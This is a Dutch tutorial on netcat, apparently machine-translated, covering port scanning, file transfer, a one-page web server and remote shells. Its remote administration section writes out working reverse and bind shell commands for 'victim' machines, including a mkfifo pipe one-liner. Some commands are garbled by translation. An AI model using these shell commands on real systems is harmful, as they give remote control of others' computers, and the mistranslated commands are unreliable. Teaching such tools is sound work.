Een kort verschil tussen netcat-traditioneel en netcat-openbsd
Er zijn twee vergelijkbare pakketten beschikbaar voor netcat met een klein verschil tussen hen.
netcat-traditioneel bevat een extra '-e'-optie die kan worden gebruikt om een programma te binden (i.e bash) met netcat. Deze functie is erg handig voor beheer op afstand.
netcat-openbsd hebben wat extra ondersteuning voor IPv6 en proxy's.
Netcat-installatie
Hoewel netcat voorgeïnstalleerd is in de meeste Linux-distributies, maar als dat niet het geval is, kan het eenvoudig worden geïnstalleerd met behulp van de volgende opdrachten.
Voor traditioneel pakket:,
[email protected]:~$ sudo apt-get install netcat-traditionalVoor openbsd-versie,
[email protected]:~$ sudo apt-get install netcat-openbsdNetcat voor Windows kan hier worden gedownload https://sourceforge.net/projecten/nc110/bestanden/.
Nu zullen we enkele interessante use-cases van netcat onderzoeken
Poortscannen met netcat
Gebruik de optie '-z' om naar open poorten te scannen. Netcat zal proberen verbinding te maken met elke poort zonder gegevens of zeer beperkte gegevens te verzenden in het geval van UDP. Typ het volgende:
[e-mail beveiligd]:~$ nc -z -v hackme.org 80... knip ..
hackme.org [217.78.1.155] 80 (http) openen
Als u naar een reeks poorten wilt scannen, typt u
[e-mail beveiligd]:~$ nc -z -nv 192.168.100.72 20-80(ONBEKEND) [192.168.100.72] 80 (http) openen
(ONBEKEND) [192.168.100.72] 22 (ssh) open
Bestandsoverdracht met netcat
Een ander handig gebruiksvoorbeeld van netcat is bestandsoverdracht tussen externe computers. U kunt teksten en binaire bestanden van de ene pc naar de andere pc verzenden. We zullen proberen een bestand "bestand" te verzenden.pdf” van Linux-pc naar Windows-pc [IP 192.168.100.72] met netcat als voorbeeld.
Typ het volgende op een Windows-machine (ontvanger):
C:\Gebruikers> nc -nvlp 1337 > bestand.pdfLuisteren op [0.0.0.0] (familie 2, poort 1337)
Typ het volgende op Linux-machine (afzender):
[e-mail beveiligd]:~$ nc -nv 192.168.100.72 1337 < file.pdfAansluiting op 192.168.100.72 1337 poort [tcp/*] geslaagd!
Beheer op afstand met netcat
Een van de beste toepassingen van netcat is beheer op afstand, wat betekent dat u de pc van iemand anders kunt bedienen met netcat. Netcat-traditioneel wordt geleverd met de optie '-e' die kan worden gebruikt om een programma te binden (i.e cmd.exe in Windows of bash in Linux) met een poort, wat betekent dat netcat zal fungeren als communicator tussen het programma en de externe pc. Netcat ontvangt opdrachten van een externe pc, voert deze uit op het lokale systeem en stuurt de resultaten terug naar de externe pc. Deze functie wordt veel gebruikt voor kwaadaardige doeleinden, om achterdeurtjes op pc's en servers te houden. Deze functie is alleen beschikbaar in netcat-traditioneel, maar met een klein trucje kan netcat-openbsd ook voor hetzelfde doel worden gebruikt. U kunt op twee manieren de pc van anderen bedienen.
In een Omgekeerde schaal verbinding, een aanvaller luistert op een poort en wacht tot er een verbinding wordt verzonden vanaf de computer van het slachtoffer. Het wordt gebruikt wanneer de computer van het slachtoffer zich achter NAT bevindt of geen openbaar IP-adres heeft.
Om een omgekeerde shell te krijgen met netcat, moet je luisteren op een poort met netcat. Typ het volgende op de computer van de aanvaller:,
[e-mail beveiligd]:~$ nc -nvlp 1337Luisteren op [0.0.0.0] (familie 2, poort 1337)
Op slachtoffermachine (als netcat-traditioneel is geinstalleerd)
//vervang "/bin/bash" door "cmd.exe" in het geval van Windows
[e-mail beveiligd]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bashVoor netcat-openbsd (waarbij de optie "-e" niet wordt ondersteund)
[e-mail beveiligd]:~$ rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f
terwijl in een Bind Shell verbinding, aanvaller bindt een poort op de slachtoffermachine en maakt verbinding met die poort met behulp van client-socket. Het wordt gebruikt wanneer de computer van de aanvaller zich achter NAT bevindt of geen openbaar IP-adres heeft.
Typ op slachtoffermachine machine
[email protected]:~$ nc -nlvp 1337 -e /bin/bashluisteren op [elk] 1337..
Typ nu om opdrachten op de slachtoffermachine uit te voeren:
[e-mail beveiligd]:~$ nc -nv 127.0.0.1 1337Aansluiting op 127.0.0.1 1337 poort [tcp/*] geslaagd!
$ id
uid=1000(azad) gid=1000(azad) groepen=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)
Eenvoudige webserver met netcat
Je kunt ook een andere eenvoudige truc doen om netcat te gebruiken als minimale webserver met één pagina. Deze webserver zou heel eenvoudig zijn zonder speciale configuraties, en we zullen hem gebruiken om onze HTML-code naar de browser te sturen.
[e-mail beveiligd]:~$ while true ; doe echo -e "HTTP/1.1 200 OK\n\n $(echo "
Mijn eenvoudige webserver met netcat
")" | nc -nvlp 1337 ; gedaanLuisteren op [0.0.0.0] (familie 2, poort 1337)
Probeer nu de webpagina op te halen met curl
[e-mail beveiligd]:~$ curl http://127.0.0.1:1337/Mijn eenvoudige webserver met netcat
Specificeer time-out voor een netcat-sessie
U kunt een time-out voor een netcat-sessie opgeven met de optie "-w"”. Netcat verbreekt automatisch de sessie nadat de opgegeven tijd is verstreken time.
// -w [Tijd in seconden][e-mail beveiligd]:~$ nc -w 40 -nvlp 1337
Luisteren op [0.0.0.0] (familie 2, poort 1234)
Blijf luisteren, zelfs als de klant de verbinding verbreekt
In de normale modus wordt de netcat-server afgesloten en stopt met luisteren op de poort wanneer een client de verbinding verbreekt. U kunt de server up-to-date houden met de "-k" optie
[e-mail beveiligd]:~$ nc -k -nlvp 1234Luisteren op [0.0.0.0] (familie 2, poort 1234)
Conclusie
Netcat is een eenvoudig maar efficiënt hulpprogramma dat voor veel eenvoudige dagelijkse taken kan worden gebruikt. Het is voorgeïnstalleerd in bijna alle UNIX-achtige besturingssystemen en kan worden gebruikt voor verschillende taken, zoals communicatie tussen twee pc's, bestandsoverdracht en nog veel meer.